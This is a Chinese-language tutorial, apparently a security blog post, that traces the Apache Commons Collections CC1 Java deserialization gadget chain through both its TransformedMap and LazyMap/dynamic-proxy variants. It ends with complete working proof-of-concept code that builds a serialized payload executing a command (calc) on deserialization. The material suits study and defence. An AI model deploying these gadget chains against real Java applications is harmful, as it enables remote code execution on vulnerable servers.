一、前言 前面分析了URLDNS利用链,cc1这条链的难度与urldns相比真的难了很多,从开始分析到写完这篇文章花了三四天的时间,但是这条链相比与urldns学到了更多。
Apache Commons Collections是一个第三方的基础类库,它提供了许多功能强大的数据结构类型,并实现了各种集合工具类。作为Apache开源项目的重要组件,CommonsCollections1是指反序列化攻击中的第一种RCE(远程代码执行)序列化链。这个漏洞点仍然存在于commons-collections-3.1版本中。
二、环境搭建 新建一个maven项目,使用jdk<=8u71
1 https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
我们这里分析的都是反编译的代码,在Java中有一部分文件的源码是无法看到的,只能查看该文件的class文件,这里就可以用开源java代码进行替换
链接:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
下载zip文件
解压后将其复制到jdk所在文件夹中src.zip解压后的src目录中
然后打开项目结构->sdk
将源码添加进去
然后在构建好的maven项目中导入依赖
1 2 3 4 5 <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
二、cc1利用链分析 这条利用链的漏洞点在于InvokerTransformer类下面的transform方法
我们先看一下这个transform方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); }
可以看到它实现的功能和反射非常像,获取类对象和方法,然后通过invoke方法去执行这个方法
那我们就可以利用这一点进行rce
1 Runtime.getRuntime().exec("calc");
这是我们正常去执行打开计算器的一个代码
那我们也可以通过反射来写
1 2 3 4 Runtime r = Runtime.getRuntime(); Class c =Runtime.class; Method execMthode=c.getMethod("exec",String.class); execMthode.invoke(r,"calc");
我们首先通过反射获取到了 虚拟机的运行时对象 Runtime
,然后从 Runtime
类中获取名为 “exec”,参数类型为 String
的方法对象 execMethod
最后通过invoke在我们获取的java虚拟机对象上面执行我们的命令。
我们上面说InvokerTransformer类下面的transform方法实现的功能和我们这个是非常相似的
那我们也可以通过InvokerTransformer类下面的transform方法来实现这个弹计算器的命令
1 2 Runtime r = Runtime.getRuntime(); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
我们运行看一下效果:
可以看到正常执行了运行计算器程序的命令
我们打断点看一下这个过程:
首先是InvokerTransformer类的构造方法接受我们传进去的参数然后进行赋值
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
然后调用InvokerTransformer类下面的transform方法
跟进
变量值:
通过这个变量值我们可以看到这里同样是获取到类对象,然后获取相应的方法,然后调用invoke去执行打开计算器的命令。
通过上面的分析,我们已经明白如何去利用这个漏洞进行命令执行
但是我们要想对这个点进行利用我们要向上找哪里调用了transform方法,最终一直到readobject方法,我们这条链才能利用。
那么我先看一下哪里调用了transform方法
通过查找调用我们可以看到很多方法里面都调用了transform方法
如果是正常进行进行一个新的利用链挖掘的话,我们就要一个个类进行分析
但是我们这里是为了学习分析这条利用链,就不一个个类分析了。
在cc1这条利用链里面我们用的是TransformedMap中的checkSetValue方法
1 2 3 protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
可以看到在checksetValue方法中valueTransformer调用了transform
但是我们并不知道valueTransformer是否可控,只要可控我们才能够进行利用
向上找一下valueTransformer的实现
1 2 3 4 5 protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
可以看到这个valueTransformer是TransformedMap类的构造方法的一个参数
那么这样valueTransformer的值我们就是可控的
但是TransformedMap的构造方法是 protected 我们不能够直接调用
继续向上查看调用
1 2 3 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
然后我们在TransformedMap类中找到了一个静态方法decorate方法
这里返回了一个TransformedMap对象,那我们可以通过这个静态方法调用TransformedMap的构造方法,进而控制valueTransformer的值。
那么根据我们上面的分析我们,可以简单画个流程图。
那么按照上面的分析我们可以写出我们这部分的POC:
1 2 3 4 5 Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> map =new HashMap<>(); map.put("key","value"); TransformedMap.decorate(map,null,invokerTransformer);
到这里valueTransformer可控,说明我们后门的链子可以正常进行,但是我们要找到的入口点是readobject
所以继续向上找哪里调用了checkSetvalue方法
继续查找checkSetvalue的用法
可以看到这个只有AbstractInputCheckedMapDecorator类中的 setValue方法符合我们的要求
而且我们也可以发现transformedMap继承了这个AbstractInputCheckedMapDecorator类
跟进setValue方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static class MapEntry extends AbstractMapEntryDecorator { /** The parent map */ private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
这段代码中MapEntry是AbstractInputCheckedMapDecorator
内部的一个静态内部类。它继承自 AbstractMapEntryDecorator
,扩展了 Map.Entry
接口的实现。这个 MapEntry
类的目的是包装原始的 Map.Entry
对象并重写了map类中的setvalue方法,构造方法 MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent)
接收一个原始的 Map.Entry
对象和父级装饰器对象作为参数。在构造方法中,通过调用父类 AbstractMapEntryDecorator
的构造方法,将原始的 Map.Entry
对象包装起来。
通过分析代码我们可以知道这里的setvalue就是重写了map中的setvalue方法,我们如果要触发这个setvalue方法要通过Map.Entry
对象来调用它。
在前面我们通过decorate这个静态方法装饰了我们定义的map对象,那么我们只要遍历这个装饰过的map获得map.entry对象,就可以调用setvalue方法,那我们调用了setValue方法就能够执行checksetvalue的调用
我们这里以循环来获取Map.Entry对象
1 2 3 4 5 for(Map.Entry entry: transformedMap.entrySet()){ System.out.println(entry); entry.setValue(r); }
或者迭代器
1 2 Map.Entry<Object, Object> entry = transformedMap.entrySet().iterator().next(); entry.setValue(r);
我们这里遍历我们上面经过decorate修饰过的map获取到map.entry对象,然后去调用setValue方法
那根据上面的分析我们就可以继续编写我们的POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class cc1blog { public static void main(String[] args) { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> map =new HashMap<>(); map.put("key","value"); map.put("1","2"); for(Map.Entry entry: transformedMap.entrySet()){ System.out.println(entry); entry.setValue(r); } } }
运行看一下结果:
当我们获取到map.entry对象时,调用即执行到entry.setvalue()时,这里的entry是我们获取到的一个对象,其实就是我们经过装饰的transformedMap对象,但是transformedMap没有setvalue方法,那么就会调用父类里面的setvalue方法
我们在这里打个断点具体分析一下:
然后调用checkSetValue方法
继续跟进:
可以看到最终来到了transform进行命令执行
那么到这里我们只要找到一个能够遍历map的地方然后还调用了setvalue那么我们这条链就能够执行我们后门的利用链。
继续向上查找setValue的用法:
可以看到我们在AnnotationInvocationHandler里面的readobject方法里面找到了对setValue的调用
1 2 3 4 5 6 7 8 9 10 11 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));
通过分析代码我们可以看到这个setvalue所在的for循环还有遍历map的功能,那这就很满足我们的要求
分析代码我们可以看到这个memberValue对象调用了这个setValue对象,那么只要这个memberValue可控,我们就可以将我们前边构造的transformedMap对象传入进去,那么再去调用setvalue方法就能够执行我们后面的利用链。
那我们现在就要去找这个memberValue是否可控
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; }
通过向上找我们可以看到这个memberValue是这个AnnotationInvocationHandler类的构造方法传递进来的
我们先分析一下这个构造方法接受的参数类型
Class<? extends Annotation> type:表示接受任何注解类型的 Class 对象
Map<String, Object> memberValues :接受一个map类的class对象
通过分析我们可以知道这里的memberValue是可控的,而且接受的也是map类型的,那我们实例化一个AnnotationInvocationHandler对象,然后将我们前面构造的transformMap传进去,然后进行序列化,我们整条利用链就构造完成了。
但是我们可以看到这里的AnnotationInvocationHandler的构造方法并不是一个public方法,那就说明我们不能直接去获取它。
那么这里我们可以通过反射去实现:
1 2 3 4 5 6 7 Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);annotationInvocationdhdlConstructor.setAccessible(true ); Object o=annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);
我们上面分析了AnnotationInvocationHandler接受两个参数,其中有个事注解类型的,我们这里传了一个Override.class
因为这里这个注解里面是空的
经过上面我们已经将构造的transformedMap传进了AnnotationInvocationHandler的实例化对象中
那么正常情况到这里我们这条链就已经结束了,后面就是序列化和反序列化的调用了。
但是我们这里出现了几个问题:
解决runtime不能序列化的问题 我们先看第一个问题:
这里的setValue我们要传就是我们上面定义的runtime对象
但是这个runtime是我们自己定义的
但是这个Runtiem类没有实现序列化接口
没有实现序列化接口说明这里不能够进行序列化
那么我们就不能直接调用它。
Runtime不能够序列化,但是Runtime.class是可以序列化的
Runtime.class
是 Java 中的一个特殊的静态属性,表示 java.lang.Runtime
类的 Class 对象。对于 java.lang.Runtime
类来说,Runtime.class
就是表示该类的元数据信息的 Class
对象。它包含了有关 Runtime
类的结构、方法、字段等信息,可以用于反射操作,例如获取方法、调用方法、获取类名等。
我们可以看到这个是可以实例化的,他继承了序列化接口
那我们这里就可以通过反射来实例化Runtime对象
1 2 3 4 5 Class c= Runtime.class; Method getRuntimeMethod=c.getMethod("getRuntime",null); Runtime r =(Runtime) getRuntimeMethod.invoke(null,null); Method execMethod =c.getMethod("exec",String.class); execMethod.invoke(r,"calc");
在上面我们分析,InvokerTransformer中的transform方法可以实现反射的功能
那我们这里也可以通过invokerTransFormer来实现:
1 2 3 Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class,},new Object[]{null,null}).transform(getRuntimeMethod); new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
分析这个代码我们可以看到其实就是transform的循环调用,那么我们传参的话就要把这几个类都要传进去,那么显然是很麻烦的,那么我们这里可以使用ChainedTransformer()类去简化这个操作。
我们先简单了解一下ChainedTransformer()类
ChainedTransformer
是 Apache Commons Collections 库中的一个类,用于将多个转换器串联在一起形成一个转换器链。其实说白了就是将第一个转换器的结果当作第二个转换器的参数,依次类推.
那么它刚好符合我们上面通过InvokerTransformer实现反射的过程。
那么通过ChainedTransformer()实现就是:
1 2 3 4 5 6 7 Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
那么到这里我们的POC就应该是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public class ccitest { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationdhdlConstructor =c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationdhdlConstructor.setAccessible(true); Object o=annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap); serializable(o); unserializable(); } // 序列化 public static void serializable(Object obj) throws Exception { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(obj); } // 反序列化 public static void unserializable() throws Exception { ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin")); out.readObject(); } }
解决两个if判读问题 但是我们运行还是不能成功的,因为我们还有两个if判断没解决
可以看到第一个if要求memberType不为空,但是根据变量值我们可以看到这里的memberType的值是空的,那么说明我们根本就没有走到setvalue
我们这里先分析一下这个memberType的值是怎么来的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; } ... AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } .......... Map<String, Class<?>> memberTypes = annotationType.memberTypes() String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name)
通过这个代码分析我们可以知道,这里的type是我们传入的AnnotationInvocationHandler第一个参数,也就是我们传入的注解,
这里就是通过 AnnotationType
类获取注解类型的成员名称和类型
重点在于这几行代码:
1 2 3 4 annotationType = AnnotationType.getInstance(type);//获取注解对象 Map<String, Class<?>> memberTypes = annotationType.memberTypes()//获取注解类型的成员类型映射表 String name = memberValue.getKey();//获取map键值对中的key Class<?> memberType = memberTypes.get(name)//获取key对应在注解类型中的成员值
这里给一个示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.TYPE) @interface MyAnnotation { String value(); int count(); } public class test { public static void main(String[] args) { Map<String, Object> memberValues = new HashMap<>(); memberValues.put("count",10); memberValues.put("key", "value"); AnnotationType annotationType = AnnotationType.getInstance(MyAnnotation.class); System.out.println(annotationType); Map<String, Class<?>> memberTypes = annotationType.memberTypes(); System.out.println(memberTypes); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { System.out.println("====================================================="); System.out.println(memberValue); String name = memberValue.getKey(); System.out.println(name); Class<?> memberType = memberTypes.get(name); System.out.println(memberType); } } }
运行结果:
那么我们想要memberType不为空,那么我输入的hashmap中的key要在注解中存在。
那么我们这里可以使用@Retention注解
其中存在一个成员方法value
那么我们只用让我们输入的hashmap中的key值为value。
即:
1 map.put("value", "value");
那么修改后的POC就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public class ccitest { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationdhdlConstructor =c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationdhdlConstructor.setAccessible(true); Object o=annotationInvocationdhdlConstructor.newInstance(Retention.class,transformedMap); serializable(o); unserializable(); } // 序列化 public static void serializable(Object obj) throws Exception { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(obj); } // 反序列化 public static void unserializable() throws Exception { ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin")); out.readObject(); } }
再次调试:
我们修改后的hashmap中的key值在注解中存在。那获取注解键值对对应的值就不会为空了。
那我们就满足了这个if
1 2 Object value = memberValue.getValue(); if (!(memberType.isInstance(value) ||
java.lang.Class类的isInstance()方法用于检查指定的对象是否兼容分配给该Class的实例。如果指定对象为非null,并且可以强制转换为此类的实例,则该方法返回true。否则返回false。
那么我们这个这里明显是不能强转的,所以这里我们就能直接过去。
但是我们这里运行还是会报错
解决setValue传入值不可控问题 出现报错的原因就是因为我们前面说的setvalue传入值不可控的问题
因为这里要传的value的值其实就是我们构造的runtime对象.
但是这里我们明显是不可控的
我们这里可以通过ConstantTransformer类来实现这个这一步:
我们在这里先大概了解ConstantTransformer:
ConstantTransformer
是 Apache Commons Collections 库中的一个类,用于创建一个始终返回固定值的转换器。
在 ConstantTransformer
中,你可以指定一个固定的值作为转换器的输出。该转换器在应用 transform
方法时,始终返回这个固定的值。以下是 ConstantTransformer
的构造方法和主要方法:
构造方法:
ConstantTransformer(Object constant)
:创建一个 ConstantTransformer
对象,使用指定的常量作为固定值。
主要方法:
transform(Object input)
:应用转换器,返回固定的值。
通过使用 ConstantTransformer
,你可以将一个固定值包装成一个转换器,用于在各种场景中进行转换操作。例如,你可以使用 ConstantTransformer
创建一个始终返回特定字符串的转换器,或者创建一个始终返回某个预定义对象的转换器。
示例代码:
1 2 3 4 5 6 7 8 9 public class cc11 { public static void main(String[] args) { // 创建一个 ConstantTransformer,固定返回字符串 "Hello, World!" Transformer constantTransformer = ConstantTransformer.getInstance("hello"); // 应用转换器,输出固定的值 String result = (String) constantTransformer.transform("input"); System.out.println("Result: " + result); } }
我们看一下源码中的ConstantTransformer的构造方法:
这里传入一个对象并赋值给 iConstant
第二个方法transform
,接收一个对象,然后直接返回 iConstant
。
那我们可以把这里返回的iConstant对象修改为我们获取的Runtime.class对象,那么这里无论接受什么都会返回这个虚拟机对象
1 2 3 new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))
那我们这里接受这个AnnotationTypeMismatchExceptionProxy对象,在ConstantTransformer的transform方法下就直接返回了我们的虚拟机对象,解决了传入参数值不可控的问题
而且这里调用的也是transform方法,那么我们就可以写入到chainedTransformer中去循环调用。
最终POC 那么修改一下我们的POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class ccitest { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationdhdlConstructor =c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationdhdlConstructor.setAccessible(true); Object o=annotationInvocationdhdlConstructor.newInstance(Retention.class,transformedMap); serializable(o); unserializable(); } // 序列化 public static void serializable(Object obj) throws Exception { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(obj); } // 反序列化 public static void unserializable() throws Exception { ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin")); out.readObject(); } }
运行:
计算机程序打开成功了,那么到这里我们这条链就已经构造完了
利用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() AbstractInputCheckedMapDecorator.setValue() TransformedMap.checkSetValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
cc1 LazyMap 利用链分析 LazyMap 利用链和TranformedMap利用链后半部分都是一样的
这条链是ysoserial项目中的CC1利用链
我们在调用了InvokerTransformer类中的transform方法时,在第一条链中我们用的是TransformedMap方法中的checksetValue方法
但是Lazymap中的get方法也是可以利用的
跟进到LazyMap的get方法
我们可以看到这里factory调用了transform方法,key是get方法传入的,是可控的
向上找看factory是否可控
在LazyMap的构造方法中找到了factory的传参
但是这个方法是受保护的方法,我们不能直接调用
继续找看有没有能够调用这个方法的
可以看到这里有一个静态方法decorate调用了Lazymap的构造方法,,并且参数完全可控
到这里为止,这条链子和我们TranformedMap的利用链是非常相似的
那我这里就可以调用decorate静态方法进而调用LazyMap的构造方法,从而是factory可控,进而调用transform()方法
那我们这里可以编写POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 public class ccitest { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> lazyMap = LazyMap.decorate(map, null, chainedTransformer);
前面的代码都是一样的,只用这里修改为 LazyMap
同样的思路继续向上找哪里调用了get
在很对类中都调用了get方法,我们这条链用的是AnnotationInvocationHandler类中的invoke方法
这里的memberValues调用了get方法
根据我们上条链分析我们知道这个memberValues的值是可控的
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; }
但是我们这里去找readobject调用时没有的
可以发现这里并没有调用关系,找到的都是其他类里面的实现方法
动态代理 但是我们想要实现这条链的利用可以使用动态代理来实现
关于什么是动态代理,可以参考下面两个视频学习:
https://www.bilibili.com/video/BV1ue411N7GX/?p=2&spm_id_from=pageDriver&vd_source=fc5b727bddb8d056176195c541dcca51
https://www.bilibili.com/video/BV16h411z7o9/?p=3&vd_source=f775da115bc8ec53ca2933be0602dc26
我们这里简单的了解一下:
首先什么是代理?
代理是一种设计模式,用于控制对对象的访问。它允许你创建一个代理对象,该对象可以替代原始对象执行某些操作,同时隐藏原始对象的细节。代理对象充当了原始对象的代表,客户端程序将请求发送给代理对象,然后由代理对象将请求传递给原始对象。代理对象可以在传递请求之前或之后执行一些附加操作,例如权限验证、缓存、日志记录、远程调用等。
静态代理:
在程序运行前就已经存在代理类的字节码文件,代理类和被目标类的关系在运行前就确定了
动态代理:
在运行时创建代理对象。动态代理使用Java的反射机制,可以在运行时动态生成代理对象,无需为每个类创建独立的代理类。
如何使用动态代理:
通过实现InvovationHandler
接口创建自己的调用处理器
通过为Proxy
类指定ClassLoader对象和一组Interface来创建动态代理类
通过反射机制获取动态代理类的构造函数,其唯一参数类型是InvocationHandler
接口类型
通过构造函数创建动态代理类实例,调用处理器对象(InvocationHandler
接口的实现类实例)作为参数传入
Poc构造:
AnnotationInvocationHandler类以及实现了InvocationHandler接口,那我们可以使用动态代理去代理LazMap对象,因为动态代理类都需要传入一个实现了InvocationHandler接口的类,并且这个类要重写一个invoke()
方法,而当动态代理类的代理对象调用任意方法的时候,就会进入到这个实现了InvocationHandler接口的类中的invoke()
方法。
我们如果将这个对象用Proxy进行代理,那么在readObject()
的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke
方法中,进而触发我们的 LazyMap#get
。
然后我们这里先对对 sun.reflect.annotation.AnnotationInvocationHandler
对象进行Proxy:
1 2 3 4 5 6 7 8 9 10 Class<?> AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 反射获取 AnnotationInvocationHandler 构造方法 Constructor<?> AnnotationInvocationHandlerConstrucor = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class); // 创建对象 AnnotationInvocationHandlerConstrucor.setAccessible(true); InvocationHandler annHandObject = (InvocationHandler) AnnotationInvocationHandlerConstrucor.newInstance(Retention.class, lazyMap); // 动态代理 annHandObject Map o = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, annHandObject);
代码这里看到我们代理后的对象是proxyMap,但我们这里不能直接对它进行序列化,因为这里我们的入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject
所以我们这里用AnnotationInvocationHandler对这个proxyMap进行实例化:
1 Object serializableObject = AnnotationInvocationHandlerConstrucor.newInstance(Retention.class, o);
那么根据我们上面的分析,我们可以构造出
最终的POC: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class cc12 { public static void main(String[] args) throws Exception { // 恶意代码调用链 Transformer[] transformers = { new ConstantTransformer(Runtime.class), // 获取 Runtime 对象 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 获取 exec 的 Method 对象并调用 invoke 执行 calc new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer); // 反射获取 AnnotationInvocationHandler class 对象 Class<?> AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 反射获取 AnnotationInvocationHandler 构造方法 Constructor<?> AnnotationInvocationHandlerConstrucor = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class); // 创建对象 AnnotationInvocationHandlerConstrucor.setAccessible(true); InvocationHandler annHandObject = (InvocationHandler) AnnotationInvocationHandlerConstrucor.newInstance(Retention.class, lazyMap); // 动态代理 annHandObject Map o = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, annHandObject); // 实例化代理对象 Object serializableObject = AnnotationInvocationHandlerConstrucor.newInstance(Retention.class, o); // 序列化 serializable(serializableObject); // 反序列化 unserializable(); } // 序列化 public static void serializable(Object obj) throws Exception { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(obj); } // 反序列化 public static void unserializable() throws Exception { ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin")); out.readObject(); } }
运行结果:
最后在这里贴一张两条链的利用链的流程图做一个总结吧。
)